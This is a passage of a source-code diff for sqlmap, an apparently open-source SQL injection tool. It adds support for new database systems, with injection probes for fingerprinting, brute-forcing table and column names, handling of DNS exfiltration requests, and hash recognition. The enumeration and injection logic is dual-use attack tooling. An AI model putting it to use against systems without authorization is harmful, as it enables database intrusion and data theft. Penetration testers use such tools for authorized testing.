retVal += "\xc0\x0c" # Pointer to domain name
|
||||
retVal += "\x00\x01" # Type A
|
||||
retVal += "\x00\x01" # Class IN
|
||||
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
|
||||
retVal += "\x00\x04" # Data length
|
||||
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||
|
||||
return retVal
|
||||
|
||||
class DNSServer(object):
|
||||
def __init__(self):
|
||||
self._check_localhost()
|
||||
self._requests = []
|
||||
@@ -95,9 +106,15 @@ class DNSServer(object):
|
||||
|
||||
retVal = None
|
||||
|
||||
if prefix and hasattr(prefix, "encode"):
|
||||
prefix = prefix.encode()
|
||||
|
||||
if suffix and hasattr(suffix, "encode"):
|
||||
suffix = suffix.encode()
|
||||
|
||||
with self._lock:
|
||||
for _ in self._requests:
|
||||
if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
|
||||
if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I):
|
||||
retVal = _
|
||||
self._requests.remove(_)
|
||||
break
|
||||
@@ -148,7 +165,7 @@ if __name__ == "__main__":
|
||||
if _ is None:
|
||||
break
|
||||
else:
|
||||
print("[i] %s" % _)
|
||||
print("[i] %s" % _.decode())
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
@@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
||||
|
||||
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
||||
expression = "SELECT %s FROM (%s)" % (field, expression)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
||||
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA):
|
||||
alias = randomStr(lowercase=True, seed=hash(expression))
|
||||
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
|
||||
expression += " AS %s" % alias
|
||||
else:
|
||||
expression = "SELECT %s FROM (%s)" % (field, expression)
|
||||
|
||||
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
|
||||
nulledCastedField = agent.nullAndCastField(field)
|
||||
@@ -494,7 +496,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||
warnMsg += "a switch '--no-cast' "
|
||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
|
||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL) else ""
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
# Dirty patch (safe-encoded unicode characters)
|
||||
|
||||
@@ -569,13 +569,6 @@ class Metasploit(object):
|
||||
errMsg += "to open a remote session"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if conf.liveTest and timeout:
|
||||
if initialized:
|
||||
send_all(proc, "exit\n")
|
||||
time.sleep(2)
|
||||
else:
|
||||
proc.kill()
|
||||
|
||||
except select.error as ex:
|
||||
# Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
|
||||
if ex.args[0] == errno.EINTR:
|
||||
|
||||
@@ -108,6 +108,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
return 0, retVal
|
||||
|
||||
if Backend.isDbms(DBMS.MCKOI):
|
||||
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||
if match:
|
||||
original = queries[Backend.getIdentifiedDbms()].inference.query
|
||||
right = original.split('<')[1]
|
||||
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
|
||||
expression = match.group(1).strip()
|
||||
|
||||
try:
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||
if conf.predictOutput:
|
||||
@@ -642,7 +650,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
dataToStdout(filterControlChars(val))
|
||||
|
||||
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
||||
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
||||
break
|
||||
elif charsetType and partialValue[-1:].isspace():
|
||||
|
||||
@@ -340,9 +340,9 @@ def errorUse(expression, dump=False):
|
||||
else:
|
||||
stopLimit = int(count)
|
||||
|
||||
infoMsg = "used SQL query returns "
|
||||
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "used SQL query returns "
|
||||
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif count and not count.isdigit():
|
||||
warnMsg = "it was not possible to count the number "
|
||||
|
||||
@@ -261,9 +261,9 @@ def unionUse(expression, unpack=True, dump=False):
|
||||
else:
|
||||
stopLimit = int(count)
|
||||
|
||||
infoMsg = "used SQL query returns "
|
||||
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "used SQL query returns "
|
||||
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
|
||||
warnMsg = "it was not possible to count the number "
|
||||
|
||||
@@ -29,6 +29,8 @@ from lib.core.convert import decodeBase64
|
||||
from lib.core.convert import dejsonize
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.convert import encodeHex
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import jsonize
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -459,7 +461,7 @@ def option_get(taskid):
|
||||
logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option))
|
||||
return jsonize({"success": False, "message": "Unknown option '%s'" % option})
|
||||
|
||||
logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
|
||||
logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options)))
|
||||
|
||||
return jsonize({"success": True, "options": results})
|
||||
|
||||
@@ -711,17 +713,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
|
||||
def _client(url, options=None):
|
||||
logger.debug("Calling '%s'" % url)
|
||||
try:
|
||||
data = None
|
||||
if options is not None:
|
||||
data = jsonize(options)
|
||||
headers = {"Content-Type": "application/json"}
|
||||
|
||||
if options is not None:
|
||||
data = getBytes(jsonize(options))
|
||||
else:
|
||||
data = None
|
||||
|
||||
if DataStore.username or DataStore.password:
|
||||
headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False)
|
||||
|
||||
req = _urllib.request.Request(url, data, headers)
|
||||
response = _urllib.request.urlopen(req)
|
||||
text = response.read()
|
||||
text = getText(response.read())
|
||||
except:
|
||||
if options:
|
||||
logger.error("Failed to load and parse %s" % url)
|
||||
|
||||
@@ -41,6 +41,7 @@ from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
|
||||
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
|
||||
from lib.core.settings import METADB_SUFFIX
|
||||
from lib.core.settings import UPPER_CASE_DBMSES
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.request import inject
|
||||
@@ -83,7 +84,7 @@ def tableExists(tableFile, regex=None):
|
||||
|
||||
pushValue(conf.db)
|
||||
|
||||
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
message = "which common tables (wordlist) file do you want to use?\n"
|
||||
@@ -131,7 +132,11 @@ def tableExists(tableFile, regex=None):
|
||||
else:
|
||||
fullTableName = table
|
||||
|
||||
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
|
||||
if Backend.isDbms(DBMS.MCKOI):
|
||||
_ = randomInt(1)
|
||||
result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName)))
|
||||
else:
|
||||
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
|
||||
|
||||
kb.locks.io.acquire()
|
||||
|
||||
@@ -197,7 +202,7 @@ def columnExists(columnFile, regex=None):
|
||||
errMsg = "missing table parameter"
|
||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||
|
||||
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
|
||||
conf.db = conf.db.upper()
|
||||
|
||||
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
|
||||
@@ -250,7 +255,10 @@ def columnExists(columnFile, regex=None):
|
||||
kb.locks.count.release()
|
||||
break
|
||||
|
||||
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
|
||||
if Backend.isDbms(DBMS.MCKOI):
|
||||
result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table)))
|
||||
else:
|
||||
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
|
||||
|
||||
kb.locks.io.acquire()
|
||||
|
||||
@@ -291,6 +299,8 @@ def columnExists(columnFile, regex=None):
|
||||
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
|
||||
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
|
||||
result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table)))
|
||||
else:
|
||||
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
|
||||
|
||||
|
||||
@@ -46,6 +46,16 @@ def checkDependencies():
|
||||
__import__("jpype")
|
||||
elif dbmsName == DBMS.INFORMIX:
|
||||
__import__("ibm_db_dbi")
|
||||
elif dbmsName == DBMS.MONETDB:
|
||||
__import__("pymonetdb")
|
||||
elif dbmsName == DBMS.DERBY:
|
||||
__import__("drda")
|
||||
elif dbmsName == DBMS.VERTICA:
|
||||
__import__("vertica_python")
|
||||
elif dbmsName == DBMS.PRESTO:
|
||||
__import__("prestodb")
|
||||
elif dbmsName == DBMS.MIMERSQL:
|
||||
__import__("mimerpy")
|
||||
except:
|
||||
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||
warnMsg += "in order to directly connect to the DBMS "
|
||||
|
||||
@@ -33,7 +33,6 @@ else:
|
||||
import base64
|
||||
import binascii
|
||||
import gc
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
@@ -248,18 +247,6 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version '
|
||||
|
||||
return retVal.upper() if uppercase else retVal.lower()
|
||||
|
||||
def md4_generic_passwd(password, uppercase=False):
|
||||
"""
|
||||
>>> md4_generic_passwd(password='testpass', uppercase=False)
|
||||
'5b4d300688f19c8fd65b8d6ccf98e0ae'
|
||||
"""
|
||||
|
||||
password = getBytes(password)
|
||||
|
||||
retVal = hashlib.new("md4", password).hexdigest()
|
||||
|
||||
return retVal.upper() if uppercase else retVal.lower()
|
||||
|
||||
def md5_generic_passwd(password, uppercase=False):
|
||||
"""
|
||||
>>> md5_generic_passwd(password='testpass', uppercase=False)
|
||||
@@ -740,21 +727,31 @@ def attackDumpedTable():
|
||||
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
|
||||
|
||||
def hashRecognition(value):
|
||||
"""
|
||||
>>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC
|
||||
True
|
||||
>>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE
|
||||
True
|
||||
>>> hashRecognition("foobar") == None
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
|
||||
if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes)
|
||||
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
|
||||
|
||||
if isinstance(value, six.string_types):
|
||||
for name, regex in getPublicTypeMembers(HASH):
|
||||
# Hashes for Oracle and old MySQL look the same hence these checks
|
||||
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
|
||||
continue
|
||||
elif regex == HASH.CRYPT_GENERIC:
|
||||
if any((value.lower() == value, value.upper() == value)):
|
||||
if isinstance(value, six.string_types):
|
||||
for name, regex in getPublicTypeMembers(HASH):
|
||||
# Hashes for Oracle and old MySQL look the same hence these checks
|
||||
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
|
||||
continue
|
||||
elif re.match(regex, value):
|
||||
retVal = regex
|
||||
break
|
||||
elif regex == HASH.CRYPT_GENERIC:
|
||||
if any((value.lower() == value, value.upper() == value)):
|
||||
continue
|
||||
elif re.match(regex, value):
|
||||
retVal = regex
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
@@ -93,11 +93,8 @@ class ProgressBar(object):
|
||||
|
||||
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
|
||||
if self._amount >= self._max:
|
||||
if not conf.liveTest:
|
||||
dataToStdout("\r%s\r" % (" " * self._width))
|
||||
kb.prependFlag = False
|
||||
else:
|
||||
dataToStdout("\n")
|
||||
dataToStdout("\r%s\r" % (" " * self._width))
|
||||
kb.prependFlag = False
|
||||
|
||||
def __str__(self):
|
||||
"""
|
||||
|
||||
@@ -13,6 +13,7 @@ from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -132,7 +133,7 @@ def _search(dork):
|
||||
regex = DUCKDUCKGO_REGEX
|
||||
|
||||
try:
|
||||
req = _urllib.request.Request(url, data=data, headers=requestHeaders)
|
||||
req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders)
|
||||
conn = _urllib.request.urlopen(req)
|
||||
|
||||
requestMsg = "HTTP request:\nGET %s" % url
|
||||
|
||||
30
plugins/dbms/altibase/__init__.py
Normal file
30
plugins/dbms/altibase/__init__.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import ALTIBASE_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.altibase.enumeration import Enumeration
|
||||
from plugins.dbms.altibase.filesystem import Filesystem
|
||||
from plugins.dbms.altibase.fingerprint import Fingerprint
|
||||
from plugins.dbms.altibase.syntax import Syntax
|
||||
from plugins.dbms.altibase.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Altibase methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = ALTIBASE_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.ALTIBASE] = Syntax.escape
|
||||
15
plugins/dbms/altibase/connector.py
Normal file
15
plugins/dbms/altibase/connector.py
Normal file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
def connect(self):
|
||||
errMsg = "on Altibase it is not (currently) possible to establish a "
|
||||
errMsg += "direct connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
20
plugins/dbms/altibase/enumeration.py
Normal file
20
plugins/dbms/altibase/enumeration.py
Normal file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.data import logger
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getStatements(self):
|
||||
warnMsg = "on Altibase it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
def getHostname(self):
|
||||
warnMsg = "on Altibase it is not possible to enumerate the hostname"
|
||||
logger.warn(warnMsg)
|
||||
11
plugins/dbms/altibase/filesystem.py
Normal file
11
plugins/dbms/altibase/filesystem.py
Normal file
@@ -0,0 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
pass
|
||||
95
plugins/dbms/altibase/fingerprint.py
Normal file
95
plugins/dbms/altibase/fingerprint.py
Normal file
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.ALTIBASE)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.ALTIBASE
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp.get("dbmsVersion")
|
||||
|
||||
if banVer:
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES):
|
||||
setDbms(DBMS.ALTIBASE)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.ALTIBASE
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228
|
||||
result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.ALTIBASE
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.ALTIBASE)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
22
plugins/dbms/altibase/syntax.py
Normal file
22
plugins/dbms/altibase/syntax.py
Normal file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.convert import getOrds
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
|
||||
True
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
|
||||
|
||||
return Syntax._escape(expression, quote, escaper)
|
||||
28
plugins/dbms/altibase/takeover.py
Normal file
28
plugins/dbms/altibase/takeover.py
Normal file
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def osCmd(self):
|
||||
errMsg = "on Altibase it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "on Altibase it is not possible to execute commands"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "on Altibase it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "on Altibase it is not possible to establish an "
|
||||
errMsg += "out-of-band connection"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
@@ -10,13 +10,13 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def getPasswordHashes(self):
|
||||
warnMsg = "on DB2 it is not possible to list password hashes"
|
||||
warnMsg = "on IBM DB2 it is not possible to enumerate password hashes"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
def getStatements(self):
|
||||
warnMsg = "on DB2 it is not possible to enumerate the SQL statements"
|
||||
warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
30
plugins/dbms/derby/__init__.py
Normal file
30
plugins/dbms/derby/__init__.py
Normal file
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import DERBY_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.derby.enumeration import Enumeration
|
||||
from plugins.dbms.derby.filesystem import Filesystem
|
||||
from plugins.dbms.derby.fingerprint import Fingerprint
|
||||
from plugins.dbms.derby.syntax import Syntax
|
||||
from plugins.dbms.derby.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Apache Derby methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = DERBY_SYSTEM_DBS
|
||||
|
||||
for cls in self.__class__.__bases__:
|
||||
cls.__init__(self)
|
||||
|
||||
unescaper[DBMS.DERBY] = Syntax.escape
|
||||
62
plugins/dbms/derby/connector.py
Normal file
62
plugins/dbms/derby/connector.py
Normal file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import drda
|
||||
except:
|
||||
pass
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: https://github.com/nakagami/pydrda/
|
||||
User guide: https://github.com/nakagami/pydrda/blob/master/README.rst
|
||||
API: https://www.python.org/dev/peps/pep-0249/
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port)
|
||||
except drda.OperationalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except drda.ProgrammingError as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (drda.OperationalError, drda.ProgrammingError) as ex:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||
except drda.InternalError as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
try:
|
||||
self.connector.commit()
|
||||
except drda.OperationalError:
|
||||
pass
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
43
plugins/dbms/derby/enumeration.py
Normal file
43
plugins/dbms/derby/enumeration.py
Normal file
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import logger
|
||||
